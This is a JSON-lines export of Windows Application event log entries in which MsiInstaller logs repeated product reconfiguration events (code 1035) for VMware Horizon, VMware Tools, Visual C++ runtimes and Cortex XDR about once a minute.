{"@timestamp":1657396330461,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170539}}
{"@timestamp":1657396330488,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170540}}
{"@timestamp":1657396330515,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170541}}
{"@timestamp":1657396330551,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170542}}
{"@timestamp":1657396330578,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170543}}
{"@timestamp":1657396390373,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170544}}
{"@timestamp":1657396390400,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170545}}
{"@timestamp":1657396390458,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170546}}
{"@timestamp":1657396390499,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170547}}
{"@timestamp":1657396390530,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170548}}
{"@timestamp":1657396390561,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170549}}
{"@timestamp":1657396390587,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170550}}
{"@timestamp":1657396390612,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170551}}
{"@timestamp":1657396390647,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170552}}
{"@timestamp":1657396390674,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170553}}
{"@timestamp":1657396450345,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170554}}
{"@timestamp":1657396450371,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170555}}
{"@timestamp":1657396450420,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170556}}
{"@timestamp":1657396450458,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170557}}
{"@timestamp":1657396450487,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170558}}
{"@timestamp":1657396450517,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170559}}
{"@timestamp":1657396450545,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170560}}
{"@timestamp":1657396450571,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170561}}
{"@timestamp":1657396450606,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170562}}
{"@timestamp":1657396450632,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170563}}
{"@timestamp":1657396510239,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170564}}
{"@timestamp":1657396510267,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170565}}
{"@timestamp":1657396510340,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170566}}
{"@timestamp":1657396510383,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170567}}
{"@timestamp":1657396510417,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170568}}
{"@timestamp":1657396510450,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170569}}
{"@timestamp":1657396510481,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170570}}
{"@timestamp":1657396510511,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170571}}
{"@timestamp":1657396510551,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170572}}
{"@timestamp":1657396510582,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170573}}
{"@timestamp":1657396570090,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170574}}
{"@timestamp":1657396570117,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170575}}
{"@timestamp":1657396570167,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170576}}
{"@timestamp":1657396570207,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170577}}
{"@timestamp":1657396570234,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170578}}
{"@timestamp":1657396570263,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170579}}
{"@timestamp":1657396570289,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170580}}
{"@timestamp":1657396570317,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170581}}
{"@timestamp":1657396570354,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170582}}
{"@timestamp":1657396570382,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170583}}
{"@timestamp":1657396630145,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170584}}
{"@timestamp":1657396630173,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170585}}
{"@timestamp":1657396630224,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170586}}
{"@timestamp":1657396630262,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170587}}
{"@timestamp":1657396630290,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170588}}
{"@timestamp":1657396630320,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170589}}
{"@timestamp":1657396630369,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170590}}
{"@timestamp":1657396630396,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170591}}
{"@timestamp":1657396630432,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170592}}
{"@timestamp":1657396630459,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170593}}
{"@timestamp":1657396690092,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170594}}
{"@timestamp":1657396690118,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170595}}
{"@timestamp":1657396690169,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170596}}
{"@timestamp":1657396690209,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170597}}
{"@timestamp":1657396690236,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170598}}
{"@timestamp":1657396690268,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170599}}
{"@timestamp":1657396690294,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170600}}
{"@timestamp":1657396690320,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170601}}
{"@timestamp":1657396690356,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170602}}
{"@timestamp":1657396690383,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170603}}
{"@timestamp":1657396750187,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170604}}
